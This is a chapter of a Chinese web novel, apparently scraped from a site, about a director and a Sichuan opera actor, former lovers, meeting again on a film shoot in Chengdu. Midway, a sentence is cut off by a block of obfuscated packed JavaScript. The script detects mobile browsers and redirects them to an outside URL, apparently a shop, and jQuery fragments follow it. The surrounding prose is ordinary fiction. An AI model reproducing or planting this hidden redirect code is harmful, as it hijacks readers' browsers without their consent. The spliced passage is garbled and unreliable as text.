十月底的成都，暑气已经彻底褪尽了，夜风里夹着丝丝凉意，吹得人后颈发紧。


    陈声和站在片场外围，拢了拢单薄的衬衫领口。


    这次的非遗宣传片是省文旅局的重点项目，李霄川作为川剧院的台柱子，几乎包揽了所有重要镜头。


    他扮相好，功底扎实，微博上还有一群天天追着喊哥哥的粉丝，文旅局的领导拍着他肩膀说：“这宣传片能不能出圈，就看你和小李了。”


    “陈导，差不多五分钟后开拍哈。”林瑶小跑着凑过来，顺手塞给他一杯热美式。


    塑料杯壁烫得吓人，他却跟没感觉似的，反手把杯底按在太阳穴上，狠狠压了一下。


    后台乱哄哄的，道具组在那儿哐当哐当清点铜锣铙钹，服装师抖开一件绣金蟒袍，金属挂饰叮叮当当响成一片。


    远处还有人咿咿呀呀在吊嗓子，那拔高的尾音像根细钢丝，直往他太阳穴里钻。


    “李老师那边……现在什么情况？”他听见自己开口，嗓子比想象中还哑。


    林瑶顿了一下，才接话：“妆都化好了，就是……一直没停，还在练跪塔那段动作。”她往前凑近半步，声音压得低低的，“膝盖都青了，化妆师偷偷跟我说，贴了两层胶布才盖住。”


    陈声和闭上眼，喉咙又干又痛。他是不是该过去说点什么？以导演的身份提醒演员保存体力，或者以……以什么身份呢？


    最后他只是点了点头，硬邦邦扔下一句：“按原计划拍。”


    正式拍摄开始，舞台灯光“唰”地一下大亮，钨丝灯管发出的嗡声让他后槽牙发酸。


    李霄川已经跪在了雷峰塔布景前，雪白的水袖拖在地上，沾了道具组撒的香灰。额角的血浆在强光下红得发亮，眼尾的黛青拉得特长。


    他知道这个样子在镜头里会很好看，可现在亲眼看着，却像被雨水晕开的墨痕，乱七八糟的。


    “娘子！”


    这一嗓子出来，陈声和指关节都捏白了。这个特写镜头本来该副导演盯，可他也不知道哪根筋搭错了，自己抢过了机器。


    现在他恨不得坐时光机回去，把十分钟前那个手贱的自己掐死。


    取景框里，李霄川的眼泪砸在戏台木板上。那滴泪跟穿过镜头似的，直接烫在他心口上。


    “陈导？”林瑶轻轻碰了碰他手臂，“焦距……好像有点虚了。”


    他猛地回神，这才发现取景框边缘在微微发抖。


    他手忙脚乱调整焦距，就在这时，李霄川突然抬头，那双画着戏妆的眼睛直直刺进镜头，像要透过层层玻璃焊在他脸上。


    “若天道容情，许仙愿以身代劫，永镇雷峰塔下……”


    唱词像把生锈的裁纸刀，沿着他肋骨的缝隙慢慢往里楔。眼前忽然模糊起来，直到一滴水珠在UV镜上溅开，他才惊觉自己竟然在片场流泪。


    “Cut!”副导演喊了停。


    片场瞬间活络起来，场务推着轨道车轰隆隆碾过，化妆师举着粉饼冲向演员。


    陈声和低头拆电池，假装没看见林瑶递来的纸巾。


    不远处的李霄川仍保持着戏中的跪姿，胸口剧烈起伏，额角的汗与油彩滑至下颌。


    陈声和放下机器，脚步微微向前挪了一些，又死死钉在原地。


    “陈导不点评一下？”李霄川却不放过他，声音沙哑得像被火烧过。


    整个片场瞬间安静，所有人的目光都聚焦过来。


    陈声和攥紧拳头，指甲深深陷进掌心的软肉，疼痛却压不住胸腔里翻涌的酸涩。


    “……很好。”他最终只挤出这两个字。


    李霄川扯了扯嘴角，起身时膝盖明显发软，踉跄了一瞬。陈声和伸手，又在半空硬生生收住，转而抓起一旁的毛巾递过去。


    李霄川没接。


    他径直走到摄像机前，用戏服的广袖轻轻擦了擦镜头。手指不经意划过陈声和的虎口，那里也有一道淡白的月牙形疤痕，是大学时某次亲热，陈声和怕出声自己咬的。


    “专业点啊，陈导。”李霄川轻声说，呼吸里带着熟悉的薄荷糖味，“镜头糊了，戏就废了。”


    陈声和浑身僵住。


    记忆突然闪回大学，那是他们在一起后，第一次掌镜拍李霄川表演，对方说完同样的话后，直接扣住他的后脑吻了上来。


    摄像机摔在地上，录下了整整三分钟暧昧的喘息和衣料摩擦声。


    而现在，李霄川只是转身走向化妆间，雪白的戏服下摆扫过陈声和的鞋尖，像一片抓不住的云。


    后台走廊的灯管有一只接触不良，忽明忽暗地闪烁着，剧组都帮着换过不知道多少灯了。


    陈声和靠在斑驳的墙边点烟，打火机连按几次才燃起火星。这是他戒了又复吸的习惯，因为他熬不住了。


    烟雾缭绕中，化妆间虚掩的门缝里漏出对话声。


    “李老师，这膝盖……”


    “没事，明天还有场武戏，反正要摔。”


    “您也太拼了，身上的旧伤可经不起太折腾了。”


    “习惯了。”


    烟灰断裂，烫在陈声和指节上。他猛地一抖，想起大四那年冬天，李霄川为了全国戏曲比赛每天练功到凌晨两三点。


    有次后空翻失误，整个人砸在硬木地板上，两根肋骨错位。


    那时候他翘了一周的课，天天拎着保温桶去医院陪床。


    李霄川却总在麻药过后疼得脸色发白时，还撑着对他笑：“值了，能让你主动亲我。”


    思绪被化妆间突然打开的门打断，李霄川走出来，已经换回黑色卫衣。他看到陈声和时明显一怔，目光落在那支燃了一半的香烟上。


    “陈导以前不是最讨厌烟味？”


    陈声和把烟按灭在墙上的消防


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005885|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    栓箱上：“人都会变。”


    “是吗。”李霄川直直走近，陈声和闻到他领口残留的油彩味，混合着熟悉的体温，“那为什么不敢拍我的特写？”


    那盏半吊子灯泡在这一刻彻底熄灭。


    远处场务收拾道具的碰撞声忽远忽近，黑暗漫过两人之间的空隙。


    陈声和能听见李霄川的呼吸声，比平时要重一些。


    “我拍了。”陈声和听见自己的声音很干，肯定是因为抽烟导致的。


    “你躲了。”李霄川纠正他，每个字都咬得很轻，“每次镜头要对上我眼睛的时候，你就切全景。”


    他伸手，拇指擦过陈声和的眼角，指腹带着长年练功留下的薄茧：“就像现在，你连看都不敢看我。”


    那个触碰转瞬即逝，却像块烙铁，烫得陈声和眼眶发热。


    他想说不是这样的，想说这五年他看过无数遍李霄川的演出视频，甚至能默写出每个转身时衣袂扬起的弧度，每个眼神转变时间都记得。


    但话到嘴边，却变成一句：“……明天还有拍摄，早点休息吧。”他看见李霄川的喉结滚动了一下。


    李霄川的手垂了下去，在身侧攥成拳头又松开。


    “陈声和。”李霄川看着他，声音突然又问他，“当年你说分手是为了父母，现在呢？你还在怕什么？”


    两个人就这么对立站着，陈声和以往总是挺直的腰背，此刻却在李霄川面前不敢直起来。


    大学时他们挤在出租屋那张二手沙发上，用笔记本电脑看《春光乍泄》，看到何宝荣说“不如我们从头来过”这句话时，李霄川突然扣紧他的手说：“我们永远不会这样。”


    那时候窗台的水培玉兰花开得正好，暖风从窗户吹进来，俩人脸上都热烘烘的。


    而现在，他们之间隔着的何止是一句台词。


    是五年时间，是两千公里，是潮汕祠堂里那三炷香，是成都戏台上永远差一步的对视。


    “我怕重蹈覆辙。”陈声和终于说出了这句话，声音轻得几乎被黑暗吞没。


    李霄川笑了起来，那笑容比哭还难看：“可我们连覆辙都没有过，你连试都没试过，怎么知道会重蹈？”


    他的声音甚至带着点儿哽咽，像是戏台上唱到高音时那种入戏的颤抖。


    夜风从走廊的破窗灌进来，吹散了最后一点烟味，也吹乱了李霄川额前的碎发。


    陈声和看着李霄川转身离去的背影，想起今晚戏里的最后一句唱词：


    【分明是团圆梦，醒来却各西东】


    那件黑色卫衣渐渐融进黑暗里，就像五年前机场安检口那个转身。


    走廊的灯神经兮兮地突然又亮了，刺得陈声和眯起眼睛。地上静静躺着一颗枇杷糖，包装纸闪着微光，是李霄川常吃的那个牌子。


    他忍不住弯腰捡起来，小心翼翼的叠好装进了兜里。